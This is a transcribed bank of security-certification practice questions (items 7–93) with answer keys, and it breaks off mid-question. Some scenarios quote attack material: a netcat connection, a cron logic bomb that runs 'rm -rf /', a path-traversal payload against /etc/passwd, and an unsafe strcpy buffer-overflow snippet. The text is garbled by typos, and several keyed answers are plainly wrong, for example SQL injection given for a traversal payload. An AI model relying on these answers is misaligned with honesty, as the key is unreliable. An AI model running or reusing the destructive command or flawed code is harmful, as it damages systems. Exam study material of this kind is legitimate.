**QUESTION 7**

Which of the following specifically describes the exploitation of an interactive process to access otherwise

restricted areas of the OS?

A. Pivoting

B. Process affinity

C. Buffer overflow

D. XSS

**Correct Answer:** C

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 8**

Which of the following differentiates a collision attack from a rainbow table attack?

A. A rainbow table attack performs a hash lookup.

B. A rainbow table attack uses the hash as a password.

C. In a collision attack, the hash and the input data are equivalent.

D. In a collision attack, the same input results in different hashes.

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 9**

A security analyst observes the following events in the logs of an employee workstation:

1/23 1:07:16 865 Access to C:\Users\user\temp\oasdfkh.hta has been restricted by your administrator

by the default restriction policy level.

1/23 1:07:09 1034 The scan is completed. No detections were found.

The security analyst reviews the file system and observes the following:

C:\>dir

C:\Users\user\temp

1/23 1:07:02 oasdfkh.hta

1/23 1:07:02 update.bat

1/23 1:07:02 msg.txt

Given the information provided, which of the following MOST likely occurred on the workstation?

A. Application whitelisting controls blocked an exploit payload from executing.

B. Antivirus software found and quarantined three malware files.

C. Automatic updates were initiated but failed because they had not been approved.

D. The SIEM log aged was not tuned properly and reported a false positive.

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 10**

A security technician has been receiving alerts from several servers that indicate load balancers have had a

significant increase in traffic. The technician initiates a system scan. The scan results illustrate that the disk

space on several servers has reached capacity. The scan also indicates that incoming internet traffic to the

servers has increased. Which of the following is the MOST likely cause of the decreased disk space?

A. Misconfigured devices

B. Logs and events anomalies

C. Authentication issues

D. Unauthorized software

**Correct Answer:** D

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 11**

A security administrator is diagnosing a server where the CPU utilization is at 100% for 24 hours. The main

culprit of CPU utilization is the antivirus program. Which of the following issue could occur if left unresolved?

(Select TWO)

A. MITM attack

B. DoS attack

C. DLL injection

D. Buffer overflow

E. Resource exhaustion

**Correct Answer:** BE

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 12**

Which of the following is used to validate the integrity of data?

A. CBC

B. Blowfish

C. MD5

D. RSA

**Correct Answer:** C

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 13**

A user typically works remotely over the holidays using a web-based VPN to access corporate resources. The

user reports getting untrusted host errors and being unable to connect. Which of the following is MOST likely

the case?

A. The certificate has expired

B. The browser does not support SSL

C. The user's account is locked out

D. The VPN software has reached the seat license maximum

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 14**

When it comes to cloud computing, if one of the requirements for a project is to have the most control over the

systems in the cloud, which of the following is a service model that would be BEST suited for this goal?

A. Infrastructure

B. Platform

C. Software

D. Virtualization

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 15**

A company was recently audited by a third party. The audit revealed the company's network devices were

transferring files in the clear. Which of the following protocols should the company use to transfer files?

A. HTTPS

B. LDAPS

C. SCP

D. SNMPv3

**Correct Answer:** C

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 16**

A security analyst is acquiring data from a potential network incident. Which of the following evidence is the

analyst MOST likely to obtain to determine the incident?

A. Volatile memory capture

B. Traffic and logs

C. Screenshots

D. System image capture

**Correct Answer:** B

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 17**

A cybersecurity analyst is looking into the payload of a random packet capture file that was selected for

analysis. The analyst notices that an internal host had a socket established with another internal host over a

non-standard port. Upon investigation, the origin host that initiated the socket shows this output:

usera@host>history

mkdir /local/usr/bin/somedirectory

nc -1 192.168.5.1 -p 9856

ping -c 30 8.8.8.8 -a 600

rm /etc/dir2/somefile

rm -rm /etc/dir2/

traceroute 8.8.8.8

pakill pid 9487

usera@host>

Given the above output, which of the following commands would have established the questionable socket?

A. traceroute 8.8.8.8

B. ping -1 30 8.8.8.8 -a 600

C. nc -1 192.168.5.1 -p 9856

D. pskill pid 9487

**Correct Answer:** C

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 18**

A security administrator has written a script that will automatically upload binary and text-based configuration

files onto a remote server using a scheduled task. The configuration files contain sensitive information. Which

of the following should the administrator use? (Select TWO)

A. TOPT

B. SCP

C. FTP over a non-standard pot

D. SRTP

E. Certificate-based authentication

F. SNMPv3

**Correct Answer:** BE

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 19**

A security analyst conducts a manual scan on a known hardened host that identifies many non-compliant items.

Which of the following BEST describe why this has occurred? (Select TWO)

A. Privileged-user certificated were used to scan the host

B. Non-applicable plug ins were selected in the scan policy

C. The incorrect audit file was used

D. The output of the report contains false positives

E. The target host has been compromised

**Correct Answer:** BC

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 20**

Which of the following solutions should an administrator use to reduce the risk from an unknown vulnerability in

a third-party software application?

A. Sandboxing

B. Encryption

C. Code signing

D. Fuzzing

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 21**

A network administrator needs to allocate a new network for the R&D group. The network must not be

accessible from the Internet regardless of the network firewall or other external misconfigurations. Which of the

following settings should the network administrator implement to accomplish this?

A. Configure the OS default TTL to 1

B. Use NAT on the R&D network

C. Implement a router ACL

D. Enable protected ports on the switch

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 22**

To help prevent one job role from having sufficient access to create, modify, and approve payroll data, which of

the following practices should be employed?

A. Least privilege

B. Job rotation

C. Background checks

D. Separation of duties

**Correct Answer:** D

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 23**

When attackers use a compromised host as a platform for launching attacks deeper into a company's network,

it is said that they are:

A. escalating privilege

B. becoming persistent

C. fingerprinting

D. pivoting

**Correct Answer:** D

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 24**

The help desk received a call after hours from an employee who was attempting to log into the payroll server

remotely. When the help desk returned the call the next morning, the employee was able to log into the server

remotely without incident. However, the incident occurred again the next evening. Which of the following BEST

describes the cause of the issue?

A. The password expired on the account and needed to be reset

B. The employee does not have the rights needed to access the database remotely

C. Time-of-day restrictions prevented the account from logging in

D. The employee's account was locked out and needed to be unlocked

**Correct Answer:** C

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 25**

An analyst receives an alert from the SIEM showing an IP address that does not belong to the assigned

network can be seen sending packets to the wrong gateway. Which of the following network devices is

misconfigured and which of the following should be done to remediate the issue?

A. Firewall; implement an ACL on the interface

B. Router; place the correct subnet on the interface

C. Switch; modify the access port to trunk port

D. Proxy; add the correct transparent interface

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 26**

A home invasion occurred recently in which an intruder compromised a home network and accessed a WiFIenabled

baby monitor while the baby's parents were sleeping. Which of the following BEST describes how the

intruder accessed the monitor?

A. Outdated antivirus

B. WiFi signal strength

C. Social engineering

D. Default configuration

**Correct Answer:** D

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 27**

A security engineer must install the same x.509 certificate on three different servers. The client application that

connects to the server performs a check to ensure the certificate matches the host name. Which of the

following should the security engineer use?

A. Wildcard certificate

B. Extended validation certificate

C. Certificate chaining

D. Certificate utilizing the SAN file

**Correct Answer:** D

**Section: (none)**

**Explanation**

**Explanation/Reference:**

SAN = Subject Alternate Names

**QUESTION 28**

Which of the following refers to the term used to restore a system to its operational state?

A. MTBF

B. MTTR

C. RTO

D. RPO

**Correct Answer:** B

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 29**

A Chief Information Officer (CIO) recently saw on the news that a significant security flaws exists with a specific

version of a technology the company uses to support many critical application. The CIO wants to know if this

reported vulnerability exists in the organization and, if so, to what extent the company could be harmed. Which

of the following would BEST provide the needed information?

A. Penetration test

B. Vulnerability scan

C. Active reconnaissance

D. Patching assessment report

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 30**

An organization is expanding its network team. Currently, it has local accounts on all network devices, but with

growth, it wants to move to centrally managed authentication. Which of the following are the BEST solutions for

the organization? (Sect TWO)

A. TACACS+

B. CHAP

C. LDAP

D. RADIUS

E. MSCHAPv2

**Correct Answer:** AD

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 31**

An active/passive configuration has an impact on:

A. confidentiality

B. integrity

C. availability

D. non-repudiation

**Correct Answer:** C

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 32**

Which of the following attack types BEST describes a client-side attack that is used to manipulate an HTML

iframe with JavaScript code via a web browser?

A. Buffer overflow

B. MITM

C. XSS

D. SQLi

**Correct Answer:** C

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 33**

Which of the following would provide additional security by adding another factor to a smart card?

A. Token

B. Proximity badge

C. Physical key

D. PIN

**Correct Answer:** D

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 34**

A security analyst receives an alert from a WAF with the following payload:

var data = "<test test test> ++ <../../../../../../etc/passwd>"

Which of the following types of attacks is this?

A. Cross-site request forgery

B. Buffer overflow

C. SQL injection

D. JavaScript data insertion

E. Firewall evasion script

**Correct Answer:** C

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 35**

Which of the following uses precomputed hashes to guess passwords?

A. Iptables

B. NAT tables

C. Rainbow tables

D. ARP tables

**Correct Answer:** C

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 36**

A systems administrator wants to provide balance between the security of a wireless network and usability. The

administrator is concerned with wireless encryption compatibility of older devices used by some employees.

Which of the following would provide strong security backward compatibility when accessing the wireless

network?

A. Open wireless network and SSL VPN

B. WPA using a preshared key

C. WAP2 using a RADIUS back-end for 802.1x authentication

D. WEP with a 40-bit key

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 37**

In determining when it may be necessary to perform a credentialed scan against a system instead of a noncredentialed

scan, which of the following requirements is MOST likely to influence its decisions?

A. The scanner must be able to enumerate the host OS of devices scanner

B. The scanner must be able to footprint the network

C. The scanner must be able to check for open ports with listening services

D. The scanner must be able to audit file system permissions

**Correct Answer:** D

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 38**

A security administrator receives an alert from a third-party vendor that indicates a certificate that was installed

in the browser has been hijacked at the root of a small public CA. The security administrator knows there are at

least four different browsers in use on more than a thousand computers in the domain worldwide. Which of the

following solutions would be BEST for the security administrator to implement to most efficiently assist with this

issue?

A. SSL

B. CRL

C. PKI

D. ACL

**Correct Answer:** B

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 39**

After a user reports slow computer performance, a systems administrator detects a suspicious file, which was

installed as part of a freeware software package. The systems administrator reviews the output below:

c:\Windows\system32>netstat -nab

Active Connections

Pronto Local Address Foreign Address State

TCP 0.0.0.0:135 0.0.0.0 RpcSs [svchoat.exe]

TCP 0.0.0.0:445 0.0.0.0 [svchost.exe]

TCP 192.168.1.10:5000 10.37.213.20 winserver.exe

UDP 192.168.1.10:1900 \*.\* SSDPSVR

Based on the above information, which of the following types of malware was installed on the user's computer?

A. RAT

B. Keylogger

C. Spyware

D. Worm

E. Bot

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 40**

A company has noticed multiple instances of proprietary information on public websites. It has also observed an

increase in the number of email messages sent to random employees containing malicious links and PDFs.

Which of the following changes should the company make to reduce the risks associated with phishing

attacks? (Select TWO)

A. Install an additional firewall

B. Implement a redundant email server

C. Block access to personal email on corporate systems

D. Update the X.509 certificates on the corporate email server

E. Update corporate policy to prohibit access to social media websites

F. Review access violation on the file server

**Correct Answer:** CE

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 41**

A security analyst is investigating a potential reach. Upon gathering, documenting, and securing the evidence,

which of the following actions is the NEXT step to minimize the business impact?

A. Launch an investigation to identify the attacking host

B. Initiate the incident response plan

C. Review lessons learned captured in the process

D. Remove malware and restore the system to normal operation

**Correct Answer:** D

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 42**

Joe, a salesman, was assigned to a new project that requires him to travel to a client site. While waiting for a

flight, Joe, decides to connect to the airport wireless network without connecting to a VPN,and the sends

confidential emails to fellow colleagues. A few days later, the company experiences a data breach. Upon

investigation, the company learns Joe's emails were intercepted. Which of the following MOST likely caused

the data breach?

A. Policy violation

B. Social engineering

C. Insider threat

D. Zero-day attack

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 43**

An information security specialist is reviewing the following output from a Linux server:

user@server:~$ -l

5 \* \* \* \* /usr/local/bin.backup.sh

user@server:~$ cat /usr/local/bin/backup.sh

#!/bin/bash

if ! grep --quiet joeuser /etc/passwd

the rm -rf /

fi

Based on the above information, which of the following types of malware was installed on the server?

A. Logic bomb

B. Trojan

C. Backdoor

D. Ransomware

E. Rootkit

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 44**

A company wants to ensure confidential data from storage media is sanitized in such a way that the drive

cannot be reused. Which of the following method should the technician use?

A. Shredding

B. Wiping

C. Low-level formatting

D. Repartitioning

E. Overwriting

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 45**

A forensic expert is given a hard drive from a crime scene and is asked to perform an investigation. Which of

the following is the FIRST step the forensic expert needs to take the chain of custody?

A. Make a forensic copy

B. Create a hash of the hard rive

C. Recover the hard drive data

D. Update the evidence log

**Correct Answer:** D

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 46**

An incident response manager has started to gather all the facts related to a SIEM alert showing multiple

systems may have been compromised. The manager has gathered these facts:

The breach is currently indicated on six user PCs

One service account is potentially compromised

Executive management has been notified

In which of the following phases of the IRP is the manager currently working?

A. Recovery

B. Eradication

C. Containment

D. Identification

**Correct Answer:** D

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 47**

A stock trading company had the budget for enhancing its secondary datacenter approved. Since the main site

is a hurricane-affected area and the disaster recovery site is 100 mi (161 km) away, the company wants to

ensure its business is always operational with the least amount of man hours needed. Which of the following

types of disaster recovery sites should the company implement?

A. Hot site

B. Warm site

C. Cold site

D. Cloud-based site

**Correct Answer:** D

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 48**

A systems administrator is attempting to recover from a catastrophic failure in the datacenter. To recover the

domain controller, the systems administrator needs to provide the domain administrator credentials. Which of

the following account types is the system administrator using?

A. Shared accounts

B. Guest account

C. Service account

D. User account

**Correct Answer:** D

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 49**

User from two organizations, each with its own PKI, need to begin working together on a joint project. Which of

the following would allow the users of the separate PKIs to work together without connection errors?

A. Trust model

B. Stapling

C. Intermediate CA

D. Key escrow

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 50**

A security analyst is migrating a pass-the-hash vulnerability on a Windows infrastructure. Given the

requirement, which of the following should the security analyst do to MINIMIZE the risk?

A. Enable CHAP

B. Disable NTLM

C. Enable Kerebos

D. Disable PAP

**Correct Answer:** B

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 51**

An organization requires users to provide their fingerprints to access an application. To improve security, the

application developers intend to implement multifactor authentication. Which of the following should be

implemented?

A. Use a camera for facial recognition

B. Have users sign their name naturally

C. Require a palm geometry scan

D. Implement iris recognition

**Correct Answer:** B

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 52**

A security analyst is reviewing an assessment report that includes software versions, running services,

supported encryption algorithms, and permission settings. Which of the following produced the report?

A. Vulnerability scanner

B. Protocol analyzer

C. Network mapper

D. Web inspector

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 53**

A Chief Information Officer (CIO) asks the company's security specialist if the company should spend any funds

on malware protection for a specific server. Based on a risk assessment, the ARO value of a malware infection

for a server is 5 and the annual cost for the malware protection is $2500. Which of the following SLE values

warrants a recommendation against purchasing the malware protection?

A. $500

B. $1000

C. $2000

D. $2500

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 54**

The computer resource center issue smartphones to all first-level and above managers. The managers have

the ability to install mobile tools. Which of the following tools should be implemented with the type of tools the

managers installed?

A. Download manager

B. Content manager

C. Segmentation manager

D. Application manager

**Correct Answer:** D

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 55**

A systems administrator wants to provide for and enforce wireless access accountability during events where

external speakers are invited to make presentations to a mixed audience of employees and non-employees.

Which of the following should the administrator implement?

A. Shared accounts

B. Preshared passwords

C. Least privilege

D. Sponsored guest

**Correct Answer:** D

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 56**

A recent internal audit is forcing a company to review each internal business unit's VMs because the cluster

they are installed on is in danger of running out of computer resources. Which of the following vulnerabilities

exist?

A. Buffer overflow

B. End-of-life systems

C. System sprawl

D. Weak configuration

**Correct Answer:** C

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 57**

A security administrator has found a hash in the environment known to belong to malware. The administrator

then finds this file to be in the preupdate area of the OS, which indicated it was pushed from the central patch

system.

File: winx86\_adobe\_upgrade.exe

Hash: 99ac28bede43ab869b853ba62c4ea243

Administrator pulls a report from the patch management system with the following output:

Install Date Package Name Target Device Hash

10/10/2017 java\_11.2\_x64.exe HQ PC's 01ab28bbde63aa879b35bba62cdea282

10/10/2017 winx86\_adobe\_flash\_upgrade.exe HQ PC's 99ac28bede43ab86b853ba62c4ea243

Given the above output, which of the following MOST likely happened?

A. The file was corrupted after it left the patch system

B. The file was infected when the patch manager downloaded it

C. The file was not approved in the application whitelist system

D. The file was embedded with a logic bomb to evade detection

**Correct Answer:** B

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 58**

Two users must encrypt and transmit large amounts of data between them. Which of the following should they

use to encrypt and transmit the data?

A. Symmetric algorithm

B. Hash function

C. Digital signature

D. Obfuscation

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 59**

A new Chief Information Officer (CIO) has been reviewing the badging and decides to write a policy that all

employees must have their badges rekeyed at least annually. Which of the following controls BEST describes

this policy?

A. Physical

B. Corrective

C. Technical

D. Administrative

**Correct Answer:** D

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 60**

A software developer is concerned about DLL hijacking in an application being written. Which of the following is

the MOST viable mitigation measure of this type of attack?

A. The DLL of each application should be set individually

B. All calls to different DLLs should be hard-coded in the application

C. Access to DLLs from the Windows registry should be disabled

D. The affected DLLs should be renamed to avoid future hijacking

**Correct Answer:** B

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 61**

A security engineer wants to implement a site-to-site VPN that will require SSL certificates for mutual

authentication. Which of the following should the engineer implement if the design requires client MAC

addresses to be visible across the tunnel?

A. Tunnel mode IPSec

B. Transport mode VPN IPSec

C. L2TP

D. SSL VPN

**Correct Answer:** D

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 62**

An application was recently compromised after some malformed data came in via web form. Which of the

following would MOST likely have prevented this?

A. Input validation

B. Proxy server

C. Stress testing

D. Encoding

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 63**

While working on an incident, Joe, a technician, finished restoring the OS and applications on a workstation

from the original media. Joe is about to begin copying the user's files back onto the hard drive. Which of the

following incident response steps is Joe working on now?

A. Recovery

B. Eradication

C. Containment

D. Identification

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 64**

A systems administrator found a suspicious file in the root of the file system. The file contains URLs,

usernames, passwords, and text from other documents being edited on the system. Which of the following

types of malware would generate such a file?

A. Keylogger

B. Rootkit

C. Bot

D. RAT

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 65**

A computer emergency response team is called at midnight to investigate a case in which a mail server was

restarted. After an initial investigation, it was discovered that email is being exfiltrated through an active

connection. Which of the following is the NEXT step the team should take?

A. Identify the source of the active connection

B. Perform eradication of active connection and recover

C. Performance containment procedure by disconnecting the server

D. Format the server and restore its initial configuration

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 66**

A remote intruder wants to take inventory of a network so exploits can be researched. The intruder is looking

for information about software versions on the network. Which of the following techniques is the intruder using?

A. Banner grabbing

B. Port scanning

C. Packet sniffing

D. Virus scanning

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 67**

An analyst is reviewing a simple program for potential security vulnerabilities before being deployed to a

Windows server. Given the following code:

void foo (char \*bar)

{

car random\_user\_input[12];

stropy (random\_user\_input, bar);

}

Which of the following vulnerabilities is present?

A. Bad memory pointer

B. Buffer overflow

C. Integer overflow

D. Backdoor

**Correct Answer:** B

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 68**

A company has a data classification system with definitions for "Private" and "Public". the company's security

policy outlines how data should be protected based on type. The company recently added data type

"Proprietary". Which of the following is the MOST likely reason the company added this data type?

A. Reduced cost

B. More searchable data

C. Better data classification

D. Expanded authority of the privacy officer

**Correct Answer:** C

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 69**

A security technician is configuring an access management system to track and record user actions. Which of

the following functions should the technician configure?

A. Accounting

B. Authorization

C. Authentication

D. Identification

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 70**

A security administrator installed a new network scanner that identifies new host systems on the network.

Which of the following did the security administrator install?

A. Vulnerability scanner

B. Network-based IDS

C. Rogue system detection

D. Configuration compliance scanner

**Correct Answer:** C

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 71**

A Chief Information Officer (CIO) has decided it is not cost effective to implement safeguards against a known

vulnerability. Which of the following risk responses does this BEST describe?

A. Transference

B. Avoidance

C. Mitigation

D. Acceptance

**Correct Answer:** D

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 72**

An audit takes place after company-wide restructuring, in which several employees changed roles. The

following deficiencies are found during the audit regarding access to confidential data.

Employee Job Function Audit Finding

Ann Sales Manager \*Access to confidential payroll shares

\*Access to payroll processing program

\*Access to marketing shares

Jeff Marketing Director \*Access to human resources annual review folder

\*Access to shared human resources mailbox

John Sales Manager \*Active account

\*Access to human resources annual review folder

\*Access to confidential payroll shares

Which of the following would be the BEST method to prevent similar audit finding in the future?

A. Implement separation of duties for the payroll department

B. Implement a DLP solution on the payroll and human resources reviews

C. Implement rule-based access controls on the human resources server

D. Implement regular permission auditing and reviews

**Correct Answer:** D

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 73**

A technician is investigating a potentially compromised device with the following symptoms:

Browser slowness

Frequent browser crashes

Hourglass stuck

New search toolbar

Increased memory consumption

Which of the following types of malware has infected the system?

A. Man-in-the-browser

B. Spoofer

C. Spyware

D. Adware

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 74**

A penetration tester has written an application that performs a bit-by-bit XOR 0xFF operation on binaries prior

to transmission over untrusted media. Which of the following BEST describes the action performed by this type

of application?

A. Hashing

B. Key exchange

C. Encryption

D. Obfusication

**Correct Answer:** D

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 75**

An audit reported has identifies a weakness that could allow unauthorized personnel access to the facility at its

main entrance and from there gain access to the network. Which of the following would BEST resolve the

vulnerability?

A. Faraday cage

B. Air gap

C. Mantrap

D. Bollards

**Correct Answer:** C

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 76**

When attempting to secure a mobile workstation, which of the following authentication technologies rely on the

user's physical characteristics? (Select TWO)

A. MAC address table

B. Retina scan

C. Fingerprint scan

D. Two-factor authentication

E. CAPTCHA

F. Password string

**Correct Answer:** BC

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 77**

Systems administrator and key support staff come together to simulate a hypothetical interruption of service.

The team updates the disaster recovery processes and documentation after meeting. Which of the following

describes the team's efforts?

A. Business impact analysis

B. Continuity of operation

C. Tabletop exercise

D. Order of restoration

**Correct Answer:** C

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 78**

A company has two wireless networks utilizing captive portals. Some employees report getting a trust error in

their browsers when connecting to one of the networks. Both captive portals are using the same server

certificate for authentication, but the analyst notices the following differences between the two certificate details:

**Certificate 1**

**Certificate Path:**

Geotrust Global CA

\*company.com

**Certificate 2**

**Certificate Path:**

\*company.com

Which of the following would resolve the problem?

A. Use a wildcard certificate.

B. Use certificate chaining.

C. Use a trust model.

D. Use an extended validation certificate.

**Correct Answer:** B

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 79**

Company A has acquired Company B. Company A has different domains spread globally, and typically

migrates its acquisitions infrastructure under its own domain infrastructure. Company B, however, cannot be

merged into Company A's domain infrastructure. Which of the following methods would allow the two

companies to access one another's resources?

A. Attestation

B. Federation

C. Single sign-on

D. Kerberos

**Correct Answer:** B

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 80**

A technician is configuring a load balancer for the application team to accelerate the network performance of

their applications. The applications are hosted on multiple servers and must be redundant. Given this scenario,

which of the following would be the BEST method of configuring the load balancer?

A. Round-robin

B. Weighted

C. Least connection

D. Locality-based

**Correct Answer:** D

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 81**

Ann is the IS manager for several new systems in which the classifications of the systems' data are being

decided. She is trying to determine the sensitivity level of the data being processed. Which of the following

people should she consult to determine the data classification?

A. Steward

B. Custodian

C. User

D. Owner

**Correct Answer:** D

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 82**

An organization's employees currently use three different sets of credentials to access multiple internal

resources. Management wants to make this process less complex. Which of the following would be the BEST

option to meet this goal?

A. Transitive trust

B. Single sign-on

C. Federation

D. Secure token

**Correct Answer:** B

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 83**

An external attacker can modify the ARP cache of an internal computer. Which of the following types of attacks

is described?

A. Replay

B. Spoofing

C. DNS poisoning

D. Client-side attack

**Correct Answer:** B

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 84**

A systems administrator has isolated an infected system from the network and terminated the malicious

process from executing. Which of the following should the administrator do NEXT according to the incident

response process?

A. Restore lost data from a backup.

B. Wipe the system.

C. Document the lessons learned.

D. Determine the scope of impact.

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 85**

A new security administrator ran a vulnerability scanner for the first time and caused a system outage. Which of

the following types of scans MOST likely caused the outage?

A. Non-intrusive credentialed scan

B. Non-intrusive non-credentialed scan

C. Intrusive credentialed scan

D. Intrusive non-credentialed scan

**Correct Answer:** D

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 86**

A security analyst is hardening a WiFi infrastructure. The primary requirements are the following:

The infrastructure must allow staff to authenticate using the most secure method.

The infrastructure must allow guests to use an "open" WiFi network that logs valid email addresses before

granting access to the Internet.

Given these requirements, which of the following statements BEST represents what the analyst should

recommend and configure?

A. Configure a captive portal for guests and WPS for staff.

B. Configure a captive portal for staff and WPA for guests.

C. Configure a captive portal for staff and WEP for guests.

D. Configure a captive portal for guest and WPA2 Enterprise for staff.

**Correct Answer:** D

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 87**

A security administrator is trying to eradicate a worm, which is spreading throughout the organization, using an

old remote vulnerability in the SMB protocol. The worm uses Nmap to identify target hosts within the company.

The administrator wants to implement a solution that will eradicate the current worm and any future attacks that

may be using zero-day vulnerabilities. Which of the following would BEST meet the requirements when

implemented?

A. Host-based firewall

B. Enterprise patch management system

C. Network-based intrusion prevention system

D. Application blacklisting

E. File integrity checking

**Correct Answer:** C

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 88**

Which of the following is a deployment concept that can be used to ensure only the required OS access is

exposed to software applications?

A. Staging environment

B. Sandboxing

C. Secure baseline

D. Trusted OS

**Correct Answer:** B

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 89**

A procedure differs from a policy in that it:

A. is a high-level statement regarding the company's position on a topic.

B. sets a minimum expected baseline of behavior.

C. provides step-by-step instructions for performing a task.

D. describes adverse actions when violations occur.

**Correct Answer:** C

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 90**

Ann, a user, reports she is unable to access an application from her desktop. A security analyst verifies Ann's

access and checks the SIEM for any errors. The security analyst reviews the log file from Ann's system and

notices the following output:

2017--08-21 10:48:12 DROP TCP 172.20.89.232 239.255.255.255 443 1900 250 -------- RECEIVE

2017--08-21 10:48:12 DROP UDP 192.168.72.205 239.255.255.255 443 1900 250 -------- RECEIVE

Which of the following is MOST likely preventing Ann from accessing the application from the desktop?

A. Web application firewall

B. DLP

C. Host-based firewall

D. UTM

E. Network-based firewall

**Correct Answer:** B

**Section: (none)**

**Explanation**

**Explanation/Reference:**

Webmail is being blocked. The 250 response code is for SMTP.

**QUESTION 91**

Which of the following types of penetration test will allow the tester to have access only to password hashes

prior to the penetration test?

A. Black box

B. Gray box

C. Credentialed

D. White box

**Correct Answer:** B

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 92**

Which of the following threats has sufficient knowledge to cause the MOST danger to an organization?

A. Competitors

B. Insiders

C. Hacktivists

D. Script kiddies

**Correct Answer:** B

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 93**

While troubleshooting a client application connecting to the network, the security administrator notices the

following error: Certificate is not valid. Which of the following is the BEST way to check if the digital certificate is

valid?

A. PKI

B. CRL

C. CSR

